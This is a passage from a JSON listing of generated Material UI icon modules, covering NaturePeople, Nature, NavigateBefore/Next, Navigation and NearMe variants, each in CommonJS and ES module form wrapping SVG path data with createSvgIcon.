    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"4.5\",\n  cy: \"9.5\",\n  r: \"1.5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22.17 9.17c0-3.91-3.19-7.06-7.11-7-3.83.06-6.99 3.37-6.88 7.19.09 3.38 2.58 6.16 5.83 6.7V20H6v-3h.5c.28 0 .5-.22.5-.5V13c0-.55-.45-1-1-1H3c-.55 0-1 .45-1 1v3.5c0 .28.22.5.5.5H3v4c0 .55.45 1 1 1h14c.55 0 1-.45 1-1s-.45-1-1-1h-2v-3.88c3.47-.41 6.17-3.36 6.17-6.95\"\n}, \"1\")], 'NaturePeopleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NaturePeopleSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22.17 9.17c0-3.91-3.19-7.06-7.11-7-3.83.06-6.99 3.37-6.88 7.19.09 3.38 2.58 6.16 5.83 6.7V20H6v-3h1v-5H2v5h1v5h16v-2h-3v-3.88c3.47-.41 6.17-3.36 6.17-6.95M4.5 11c.83 0 1.5-.67 1.5-1.5S5.33 8 4.5 8 3 8.67 3 9.5 3.67 11 4.5 11\"\n}), 'NaturePeopleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NaturePeopleSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22.17 9.17c0-3.91-3.19-7.06-7.11-7-3.83.06-6.99 3.37-6.88 7.19.09 3.38 2.58 6.16 5.83 6.7V20H6v-3h1v-5H2v5h1v5h16v-2h-3v-3.88c3.47-.41 6.17-3.36 6.17-6.95M4.5 11c.83 0 1.5-.67 1.5-1.5S5.33 8 4.5 8 3 8.67 3 9.5 3.67 11 4.5 11\"\n}), 'NaturePeopleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NaturePeopleTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15.17\",\n  cy: \"9.17\",\n  r: \"5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"4.5\",\n  cy: \"9.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.17 2.17c-3.87 0-7 3.13-7 7 0 3.47 2.52 6.34 5.83 6.89V20H6v-3h1v-4c0-.55-.45-1-1-1H3c-.55 0-1 .45-1 1v4h1v5h16v-2h-3v-3.88c3.47-.41 6.17-3.36 6.17-6.95 0-3.87-3.13-7-7-7m0 12c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}, \"2\")], 'NaturePeopleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NaturePeopleTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15.17\",\n  cy: \"9.17\",\n  r: \"5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"4.5\",\n  cy: \"9.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.17 2.17c-3.87 0-7 3.13-7 7 0 3.47 2.52 6.34 5.83 6.89V20H6v-3h1v-4c0-.55-.45-1-1-1H3c-.55 0-1 .45-1 1v4h1v5h16v-2h-3v-3.88c3.47-.41 6.17-3.36 6.17-6.95 0-3.87-3.13-7-7-7m0 12c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}, \"2\")], 'NaturePeopleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NatureRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 16.12c3.37-.4 6.01-3.19 6.16-6.64.17-3.87-3.02-7.25-6.89-7.31-3.92-.05-7.1 3.1-7.1 7 0 3.47 2.52 6.34 5.83 6.89V20H6c-.55 0-1 .45-1 1s.45 1 1 1h12c.55 0 1-.45 1-1s-.45-1-1-1h-5z\"\n}), 'NatureRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NatureRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 16.12c3.37-.4 6.01-3.19 6.16-6.64.17-3.87-3.02-7.25-6.89-7.31-3.92-.05-7.1 3.1-7.1 7 0 3.47 2.52 6.34 5.83 6.89V20H6c-.55 0-1 .45-1 1s.45 1 1 1h12c.55 0 1-.45 1-1s-.45-1-1-1h-5z\"\n}), 'NatureRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NatureSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 16.12c3.47-.41 6.17-3.36 6.17-6.95 0-3.87-3.13-7-7-7s-7 3.13-7 7c0 3.47 2.52 6.34 5.83 6.89V20H5v2h14v-2h-6z\"\n}), 'NatureSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NatureSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 16.12c3.47-.41 6.17-3.36 6.17-6.95 0-3.87-3.13-7-7-7s-7 3.13-7 7c0 3.47 2.52 6.34 5.83 6.89V20H5v2h14v-2h-6z\"\n}), 'NatureSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NatureTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.17 4.17c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.25-5-5-5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.17 9.17c0-3.87-3.13-7-7-7s-7 3.13-7 7c0 3.47 2.52 6.34 5.83 6.89V20H5v2h14v-2h-6v-3.88h-.03c3.49-.4 6.2-3.36 6.2-6.95m-7 5c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.25 5-5 5\"\n}, \"1\")], 'NatureTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NatureTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.17 4.17c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.25-5-5-5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.17 9.17c0-3.87-3.13-7-7-7s-7 3.13-7 7c0 3.47 2.52 6.34 5.83 6.89V20H5v2h14v-2h-6v-3.88h-.03c3.49-.4 6.2-3.36 6.2-6.95m-7 5c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.25 5-5 5\"\n}, \"1\")], 'NatureTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NavigateBefore.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.41 7.41 14 6l-6 6 6 6 1.41-1.41L10.83 12z\"\n}), 'NavigateBefore');"
  },
  {
    "path": "packages/mui-icons-material/lib/NavigateBefore.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.41 7.41 14 6l-6 6 6 6 1.41-1.41L10.83 12z\"\n}), 'NavigateBefore');"
  },
  {
    "path": "packages/mui-icons-material/lib/NavigateBeforeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.61 7.41 14.2 6l-6 6 6 6 1.41-1.41L11.03 12z\"\n}), 'NavigateBeforeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NavigateBeforeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.61 7.41 14.2 6l-6 6 6 6 1.41-1.41L11.03 12z\"\n}), 'NavigateBeforeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NavigateBeforeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.91 6.71a.996.996 0 0 0-1.41 0L8.91 11.3c-.39.39-.39 1.02 0 1.41l4.59 4.59c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L11.03 12l3.88-3.88c.38-.39.38-1.03 0-1.41\"\n}), 'NavigateBeforeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NavigateBeforeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.91 6.71a.996.996 0 0 0-1.41 0L8.91 11.3c-.39.39-.39 1.02 0 1.41l4.59 4.59c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L11.03 12l3.88-3.88c.38-.39.38-1.03 0-1.41\"\n}), 'NavigateBeforeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NavigateBeforeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.61 7.41 14.2 6l-6 6 6 6 1.41-1.41L11.03 12z\"\n}), 'NavigateBeforeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NavigateBeforeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.61 7.41 14.2 6l-6 6 6 6 1.41-1.41L11.03 12z\"\n}), 'NavigateBeforeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NavigateBeforeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14.2 6-6 6 6 6 1.41-1.41L11.03 12l4.58-4.59z\"\n}), 'NavigateBeforeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NavigateBeforeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14.2 6-6 6 6 6 1.41-1.41L11.03 12l4.58-4.59z\"\n}), 'NavigateBeforeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NavigateNext.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 6 8.59 7.41 13.17 12l-4.58 4.59L10 18l6-6z\"\n}), 'NavigateNext');"
  },
  {
    "path": "packages/mui-icons-material/lib/NavigateNext.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 6 8.59 7.41 13.17 12l-4.58 4.59L10 18l6-6z\"\n}), 'NavigateNext');"
  },
  {
    "path": "packages/mui-icons-material/lib/NavigateNextOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.02 6 8.61 7.41 13.19 12l-4.58 4.59L10.02 18l6-6z\"\n}), 'NavigateNextOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NavigateNextOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.02 6 8.61 7.41 13.19 12l-4.58 4.59L10.02 18l6-6z\"\n}), 'NavigateNextOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NavigateNextRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.31 6.71c-.39.39-.39 1.02 0 1.41L13.19 12l-3.88 3.88c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l4.59-4.59c.39-.39.39-1.02 0-1.41L10.72 6.7c-.38-.38-1.02-.38-1.41.01\"\n}), 'NavigateNextRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NavigateNextRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.31 6.71c-.39.39-.39 1.02 0 1.41L13.19 12l-3.88 3.88c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l4.59-4.59c.39-.39.39-1.02 0-1.41L10.72 6.7c-.38-.38-1.02-.38-1.41.01\"\n}), 'NavigateNextRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NavigateNextSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.02 6 8.61 7.41 13.19 12l-4.58 4.59L10.02 18l6-6z\"\n}), 'NavigateNextSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NavigateNextSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.02 6 8.61 7.41 13.19 12l-4.58 4.59L10.02 18l6-6z\"\n}), 'NavigateNextSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NavigateNextTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m10.02 18 6-6-6-6-1.41 1.41L13.19 12l-4.58 4.59z\"\n}), 'NavigateNextTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NavigateNextTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m10.02 18 6-6-6-6-1.41 1.41L13.19 12l-4.58 4.59z\"\n}), 'NavigateNextTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Navigation.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2 4.5 20.29l.71.71L12 18l6.79 3 .71-.71z\"\n}), 'Navigation');"
  },
  {
    "path": "packages/mui-icons-material/lib/Navigation.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2 4.5 20.29l.71.71L12 18l6.79 3 .71-.71z\"\n}), 'Navigation');"
  },
  {
    "path": "packages/mui-icons-material/lib/NavigationOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 7.27 4.28 10.43-3.47-1.53-.81-.36-.81.36-3.47 1.53zM12 2 4.5 20.29l.71.71L12 18l6.79 3 .71-.71z\"\n}), 'NavigationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NavigationOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 7.27 4.28 10.43-3.47-1.53-.81-.36-.81.36-3.47 1.53zM12 2 4.5 20.29l.71.71L12 18l6.79 3 .71-.71z\"\n}), 'NavigationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NavigationRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12.93 4.26 6.15 14.99c.34.83-.51 1.66-1.33 1.29l-5.34-2.36c-.26-.11-.55-.11-.81 0l-5.34 2.36c-.82.36-1.67-.46-1.33-1.29l6.15-14.99c.33-.83 1.51-.83 1.85 0\"\n}), 'NavigationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NavigationRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12.93 4.26 6.15 14.99c.34.83-.51 1.66-1.33 1.29l-5.34-2.36c-.26-.11-.55-.11-.81 0l-5.34 2.36c-.82.36-1.67-.46-1.33-1.29l6.15-14.99c.33-.83 1.51-.83 1.85 0\"\n}), 'NavigationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NavigationSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2 4.5 20.29l.71.71L12 18l6.79 3 .71-.71z\"\n}), 'NavigationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NavigationSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2 4.5 20.29l.71.71L12 18l6.79 3 .71-.71z\"\n}), 'NavigationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NavigationTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m7.72 17.7 3.47-1.53.81-.36.81.36 3.47 1.53L12 7.27z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m4.5 20.29.71.71L12 18l6.79 3 .71-.71L12 2zm8.31-4.12-.81-.36-.81.36-3.47 1.53L12 7.27l4.28 10.43z\"\n}, \"1\")], 'NavigationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NavigationTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m7.72 17.7 3.47-1.53.81-.36.81.36 3.47 1.53L12 7.27z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m4.5 20.29.71.71L12 18l6.79 3 .71-.71L12 2zm8.31-4.12-.81-.36-.81.36-3.47 1.53L12 7.27l4.28 10.43z\"\n}, \"1\")], 'NavigationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NearMe.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3 3 10.53v.98l6.84 2.65L12.48 21h.98z\"\n}), 'NearMe');"
  },
  {
    "path": "packages/mui-icons-material/lib/NearMe.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3 3 10.53v.98l6.84 2.65L12.48 21h.98z\"\n}), 'NearMe');"
  },
  {
    "path": "packages/mui-icons-material/lib/NearMeDisabled.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6.34 21 3l-3.34 9zm10.61 13.44L4.22 1.39 2.81 2.81l5.07 5.07L3 9.69v1.41l7.07 2.83L12.9 21h1.41l1.81-4.88 5.07 5.07z\"\n}), 'NearMeDisabled');"
  },
  {
    "path": "packages/mui-icons-material/lib/NearMeDisabled.mjs",
